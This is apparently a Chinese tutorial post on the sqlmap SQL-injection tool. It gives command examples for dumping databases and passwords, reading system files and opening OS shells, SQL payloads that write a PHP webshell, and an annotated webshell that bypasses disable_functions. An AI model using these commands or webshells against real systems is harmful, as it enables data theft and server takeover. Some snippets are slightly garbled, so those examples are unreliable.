0x0 sqlmap 简单介绍
什么是sqlmap?
sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,以及终极渗透测试仪中的许多小众功能,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取完全操作权限时执行任意命令。
开发语言:Python
sqlmap目前支持的数据库共25种
全面支持 MySQL, Oracle, Microsoft SQL Server, Microsoft Access, PostgreSQL, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso 数据库。
强大的 sqlmap有哪些功能?
- 判断可注入的参数
- 判断可以用那种SQL注入技术来注入
- 识别出哪种数据库
- 根据用户的选择,读取哪些数据
- 可执行情况
- 当前数据库用户名称和拥有的权限
- 发现WEB虚拟目录
- 上传 getshel
- 绕过防火墙
sqlmap的基本工作流程
当给 sqlmap这么一个url的时候,它会
- 检测网站是否能够访问
- 检测是否有Waf
- 判断可注入的参数
- 判断可以用那种SQL注入技术来注入
- 识别出哪种数据库
- 根据用户输入的参数,进行操作
sqlmap支持的六种不同注入模式
- 基于布尔盲注:即可以根据返回页面判断条件真假的注入。
- 基于时间盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间)来判断。
- 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入:可以使用 union的情况下的注入。
- 堆查询注入:可以同时执行多条语句的执行时的注入。
- 内联查询注入:在Sql语句中执行sql语句。
0x1 sqlmap 安装步骤
相关官方网址集合
- sqlmap官网:https://sqlmap.org
- sqlmap Github:https://github.com/sqlmapproject/sqlmap/wiki
- Python 官网:https://www.python.org/
- Kali系统官网:https://www.kali.org/
windows系统安装
- sqlmap是基于Python开发的,所以要有Python环境。在python官网https://www.python.org下载与自己操作系统匹的环境,并安装。注意:老版本SqlMap 2.6≤所需Pyhton版本<3.0,最新版本SqlMap1.5.9已经支持Python3
- 将 sqlmap从官网上下载下来,并安装到 python的运行目录下。在 sqlmap的目录中,创建一个cmd的快捷方式,并改名为 sqlmap,双击便可直接运行。
- 输入执行 sqlmap. py -h若显示一下界面,说明安装完成
Linux系统安装
- 安装Kali系统自带SqlMap无需任何配置即可使用,或者去 sqlmap官网 自行下载linux版本安装包
0x2 sqlmap 基本使用
- GET 提交方式
# 检测url是否存在注入
python sqlmap.py -u [url]
# 获取所有的数据库名
python sqlmap.py -u [url] --dbs
# 获取当前的库名
python sqlmap.py -u [url] --current-db
# 获取当前连接数据库的用户名
python sqlmap.py -u [url] --current-user
# 获取指定库的所有表名 -D 指定数据库
python sqlmap.py -u [url] -D security --tables
# 获取指定库指定表的字段名 -T 指定表名
python sqlmap.py -u [url] -D security -T users --columns
# 获取指定库指定表指定字段的数据 -C 指定字段名
python sqlmap.py -u [url] -D security -T users -C id,username,password --dump
# sqlmap历史记录:
# windows:C:\Userstest\AppData\Local\sqlmap
# Linux: /home/test/.sqlmap or /root/.sqlmap
# 清除缓存进行注入 (删除sqlmap的output文件夹也可清楚缓存)
python sqlmap.py -u [url] --purge
# 刷新目标的存储在sqlmap的session文件-清缓存
python sqlmap.py -u [url] --flush-session
# 自动填充选择Y,跳过询问
python sqlmap.py -u [url] --batch
- POST 提交方式
python sqlmap.py -u [url] --data "uname=admin&passwd=admin"
# 1.txt是抓取的POST请求头文件,可用 -p 指定参数,如下命令指定uname为参数
python sqlmap.py -r 1.txt -p uname
# 1.txt是抓取的POST请求头文件,可在文件中用*标记注入位置,例如uname=admin*&passwd=admin,标记uname为注入位置
python sqlmap.py -r 1.txt
0x3 sqlmap 参数详解
- 常用参数
# 测试注入点权限
python sqlmap.py -u [url] --privileges //测试所有用户的权限
python sqlmap.py -u [url] --privileges -U sa //测试sa用户的权限
python sqlmap.py -u [url] --roles //测试所有用户的权限
# 说明:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。
# 通过用户权限可以判断哪些用户是管理员
# 注意:若目标是MSSql数据库,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
# 利用注入注入点执行Shell命令
python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
python sqlmap.py -u [url] --os-shell // linux系统交互式shell
# 危害:用-os-shell命令可以模拟一个真实的shell,可以使用 INTO OUTFILE写进可写目录,创建一个web后门。
# 注意:1.需要有权限使用特定函数 2.数据库为mysql、postgresql和sqlserver
# 枚举数据库的用户名和密码
python sqlmap.py -u [url] --users --passwords
# 控制sqlmap的输出信息,从简到繁,从0-6共分为7个级别,默认的输出级别为1
# 0:只显示 python的回溯、错误和关键信息
# 1:显示信息和警告消息
# 2:显示调试信息
# 3:显示注入使用的攻击载荷
# 4:显示HTTP请求
# 5:显示HTTP响应头
# 6:显示HTTP相应页面的内容
python sqlmap.py -u [url] -v 3
# 探测等级 --level
# SqlMap一共有5个探测等级,默认是1,使用的Payload可以在xml/payloads.xml看到,也可以根据相应格式自定义payload
# level1:对GET和POST的数据进行测试
# level2:会对 Http cookie进行测试
# level3:会对 Http User-agent/ Referer头进行测试
# level4-5:测试的更加全面,同时测试的速度会更慢
#注意:在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值
python sqlmap.py -u [url] --level 3
# 判断当前用户是否为管理员权限
#说明:该命令用于査看当前账户是否为数据库管理员账户。
# 这个命令有时候决定了你是否可以在服务器下进行写的操作,是否有写的权限,代表你是否可以在服务器上面写入一句话木马
# 结果:如果是管理员会返回Ture,否则返回 False
python sqlmap.py -u [url] --is-dba
# 读取文件内容,批量检测url
python sqlmap.py -m url.txt --batch
# 指定cookie
# 说明:当需要对cookie注入的时候,必须使用--cookie选项,--data ""
# 因为post的数据长度为0,但是又想使用post方法进行注入,则使用--data "",使用--data选项后, sqlmap自动使用post方法。
# 注意:
# 1. sqlmap不支持使用--method指定http请求的方法
# 2. 默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容
# 3. cookie默认的分隔符为";"
python sqlmap.py -u [url] --cookie="SESSIONID=xxxx;NAME=ichunqiu;" --level 2 --data ""
# 指定User-Agent
# 说明:参数"--user-agent" 可以指定一个User-Agent值。
# 参数"--random-agent", Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent
# 注意:
# 1. 在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。
# 2. 必须是level大于等于3才会尝试对User-Agent注入
python sqlmap.py -u [url] --user-agent="Mozilla/5.0" //指定UA头
python sqlmap.py -u [url] --random-agent //从txt字典内随机指定UA头
# 指定 Referer
# 说明:可以在请求中伪造HTTP中的referer,Sqlmap发送的HTTP请求头部默认无Referer字段。
# 注意:必须是level大于等于3才会尝试对referer注入
python sqlmap.py -u [url] --referer "http://www.baidu.com" //指定referer
# 指定代理
python sqlmap.py -u [url] --proxy=http://127.0.0.1:8080
# 指定发包间隔时间为5
python sqlmap.py -u url --delay 5
# 指定线程数
python sqlmap.py -u [url] --threads 3
- 进阶参数
# --prefix 加前缀 --suffix 加后缀
python sqlmap.py -u [url] --prefix=" -- " --suffix=")"
# 指定注入模式 T-time/U-union/E-error/B-bool
python sqlmap.py -u [url] --technique T/U/E/B
# 使用时间盲注指定延时时间为5s
python sqlmap.py -u [url] --technique T --time-sec 5
# 使用googledork(google hacking语法)
python sqlmap.py -g inurl:.php?id=
# 指定数据库类型
python sqlmap.py -u [url] --dbms=mysql
# 使用更多的语句测试url是否存在注入 1-3,3个等级
python sqlmap.py -u [url] --risk 2
# 通过sql注入漏洞获取数据所有信息 包括库名 dba 用户 密码等
python sqlmap.py -u [url] -a
# 获取数据库banner信息
python sqlmap.py -u [url] -b
# dump转存所有数据库内的数据
python sqlmap.py -u [url] --dump-all
# 获取一个外带shell,需要第三方模块支持
python sqlmap.py -u [url] --os-pwn
# 给予用户接口让其手动选择
python sqlmap.py -u [url] --wizard
0x4 sqlmap 目录结构
- doc目录:包含 sqlmap的简要说明,具体使用说明、作者信息等。
- extra目录:包含了 sqlmap的额外功能,例如发出声响、运行cmd、安全执行等。例如-beep参数。
- lib目录:sqlmap核心目录。
- plugins目录:包含了 sqlmap目前支持的25种数据库信息和数据库通用事项。
- tamper目录:这里包含了各种辅助脚本,比如常见的waf绕过脚本。
- thirdparty目录:包含了第三方插件,例如优化、保持连接、颜色。
- data目录:
- procs目录:包含了 mssql、 mysql、 oracle、 postgresql的触发程序。
- shell目录:包含了注入成功后的8种shell远程命令执行。
- txt目录:包含了表名字典,列名字典,UA字典等。
- udf目录:涉及UDF提权相关的文件。
- xml目录:存放多种数据库注入检测的 payload等信息。
0x5 sqlmap 执行SQL
- 执行指定SQL语句
python sqlmap.py -u [url][ ](http://172.26.26.253/less-1/index.php?id=1"--sql-query="selectversion)--sql-query="select version()"
# 说明:该命令直接执行指定的SQL语句
- 交互式的SQL命令行
python sqlmap.py -u [url] --sql-shell
# 说明:该参数可直接获得交互式的SQL命令shell,我们可以在此直接输入想要执行的SQL语句并实时取得回显,输入x或者q退出
# 注意:**只能执行select语句**
- 执行文件中的SQL语句
python sqlmap.py -u [url] --sql-file="/home/wu/Desktop/1.sql"
# 说明:参数可以直接执行SQL文件中的语句
# 举例:新建一个SQL文件,如:1.sql ,内容为: select version();select @@datadir;
0x6 sqlmap 文件操作
00 危害与防御
- 了解SQL注入可以进行文件读写操作带来的危害
- 如果当前web页面存在SQL注入漏洞,且当前的用户是root权限,且可以进行文件读写操作。
- 我们可以在知道绝对路径的情况下,尝试上传一个一句话木马,并用菜刀连接后,获取到网站的 getshell。
- SQL注入导致的文件读写的防御方法
- 将 secure-file-priv的参数在 my.ini中 配置为 secure-file-priv=null将会限制 mysqld不允许导入导出操作。
- secure-file-priv可以通过 select @@secure_file_priv;查询得到。
- 在用户输入可控参数时,对敏感语句进行过滤。
01 读文件
- 满足以下条件
- 有读文件权限
要么禁用,要么设置了路径 查看 secure-file-priv的值 // | |
目录权限 | 对于mysql来说,有可以对某个目录进行读写的权限 |
是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统 | |
apparmor | AppArmor是一个高效和易于使用的 Linux系统安全应用程序 |
- max allowed packed //读写文件最大的字节数
知道绝对路径 - 文件必须在服务器上存在
- 利用mysql的 load_file 函数
load_file('c://windows//win.ini')
load_file('c://windows//win.ini')
load_file('c:\\windows\\win.ini')
load_file('/etc/passwd')
load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69)
load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,19,105,110,46,105,110,105))
hex(load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69))
- sqlmap 读取文件
- 说明:该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件
- 原理:利用mysql 的 load_file函数,如:load_file(‘c://windows//win.ini’)
python sqlmap.py -u [url] --file-read "/etc/passwd"
02 写文件
- 满足以下条件
- 有写文件权限
要么禁用,要么设置了路径 查看 secure-file-priv的值 // | |
目录权限 | 对于mysql来说,有可以对某个目录进行读写的权限 |
Selinux | 是2.6版本的 Linux内核中提供的强制访问控制(MAC)系统 |
apparmor | AppArmor是一个高效和易于使用的 Linux系统安全应用程序 |
知道绝对路径 - 必须能绕过单引号过滤
- 利用mysql的 outfile 和dumpfile函数
outfile 函数:可写多行,数据格式可能会受操作系统影响dumpfile 函数:可写单行,数据格式不会受操作系统影响
union select 1, 2, 'aaa' into outfile 'C:\\phpstudy pro\\www\\test1.txt'
union select 1, 2, 'aaa' into dumpfile 'C:/phpstudy pro/www/test1.txt'
union select 1, 2, 0x616161 into dumpfile 'C:\\phpstudy_pro\\www\\test3.txt'
union select 1, 2, CHAR(97, 97, 97) into dumpfile 'C:\\phpstudy_pro\\test4.txt'
union select 1, 2, into outfile 'c://1.php' fields terminated by '123'
union select 1, 2, '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
union select 1, 2, 0x3c3f706870206576616C28245f504 into outfile '/var/www/html/shell.php'
- sqlmap 上传文件
- 用法:sqlmap -u [URL] –file-write “写入本地文件的地” –file-dest “要写入的文件绝对路径”
- 说明:该命令用于写入本地文件到服务器中,上传的文件可以是文本,也可以是二进制文件
- 原理:
利用mysql的outfile或dumpfile函数 - 如:union select1,2,’aa’ into outfile ‘C:\\phpstudy_pro\\www\\test\\1.txt’
python sqlmap.py -u [url] --file-write "c:/123.txt" --file-dest "C:/phpstudy_pro/www/test.php"
- 执行命令
- 参数:–os-cmd/-os-shell
- 说明:用于写入 webshell到服务器中,然后利用webshell执行命令
- 原理:
利用mysql的outfile 和dumpfile等写文件函数
python sqlmap.py -u [url] --os-cmd="net user" // windows系统执行net user命令
python sqlmap.py -u [url] --os-shell // linux系统交互式shell
0x7 os-shell 原理分析
- 生成一个带有上传功能的小马 tmpuvbhi.php,写到目标机指定目录
执行效果:
小马代码截图:
小马简单分析:当上传upload的值非空时,获取上传目录路径,根据php版本不同,选择合适的HTTP 文件上传变量来接收。若php < 4.1.0,使用HTTP_POST_FILES,否则使用_FILES
- 当sqlmap 使用 –os-shell 时,会利用这个带有上传功能的小马 tmpuvbhi.php来上传一个带有命令执行功能的大马
大马代码截图:
- 涉及的函数:
set_time_limit() //设置脚本最大执行时间,单位为秒。如果设置为0,没有时间方面的限制。
ignore_user_abort() //设置客户端断开连接时是否中断脚本的执行,默认为false,若为true时,脚本将一直保持运行
ini_set() //是php自带的用来修改设置php.ini配置文件的函数
ini_get() //和ini_set相反,用来获取php.ini文件里的环境变量的值
preg_replace() //执行一个正则表达式的搜索和替换
explode() //使用一个字符串分割另一个字符串
array_map() //为数组的每个元素应用回调函数
trim() //去除字符串首尾处的空白字符(或其他字符)
- disable_functions
- 为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。
- disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。
- 常规绕过:exec,shell_exec,system,passthru,popen,proc_open
- 2>&1
- 程序运行后会打开三个文件描述符,分别是标准输入0,标准输出1和标准错误输出2。
- 在调用脚本时,可使用2>&1来将标准错误输出重定向到标准输出。
- 只需要查看脚本的错误时,可将标准输出重定向到文件,而标准错误会打印在控制台,便于查看。
- log.txt会将重定向内容追加到log.txt文件末尾。
- 通过查看/proc/进程id/fd下的内容,可了解进程打开的文件描述符信息。
过程简单分析 :
<?php
$c=$_REQUEST["cmd"]; //一句话木马,密码cmd
@set_time_limit(0); //设置脚本最大执行时间为无限制
@ignore_user_abort(1); //脚本一直保持运行,无论客户端是否断开
@ini_set("max_execution_time",0); //设置php.ini中变量 max_execution_time=0
$z=@ini_get("disable_functions"); //获取管理员配置的函数黑名单
if(!empty($z)) //函数黑名单不为空时执行
{
$z=preg_replace("/[, ]+/",',',$z); //正则匹配','替换为','
$z=explode(',',$z); //利用','来分割黑名单中的函数
$z=array_map("trim",$z); //为数组的每个元素应用回调函数trim()来去除首尾空格
}else{ //函数黑名单为空时执行
$z=array(); //定义一个数组
}
$c=$c." 2>&1\n"; //标准错误输出重定向到标准输出
function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}
//常规绕过disable_functions:exec,shell_exec,system,passthru,popen,proc_open
//下面就是通过一个多分分支语句,一个一个尝试,看是否可以绕过
if(f("system"))
{
ob_start();
system($c);
$w=ob_get_clean();
}elseif(f("proc_open")){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1]))
{
$w.=fread($t[1],512);
}
@proc_close($y);
}elseif(f("shell_exec")){
$w=shell_exec($c);
}elseif(f("passthru")){
ob_start();
passthru($c);
$w=ob_get_clean();
}elseif(f("popen")){
$x=popen($c,r);
$w=NULL;
if(is_resource($x))
{
while(!feof($x))
{
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f("exec")){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
echo"<pre>$w</pre>";
?>
- 断开连接自动删马
- 当 –os-shell 退出连接后,目标机中的小马和大马会自动删除
暂无评论内容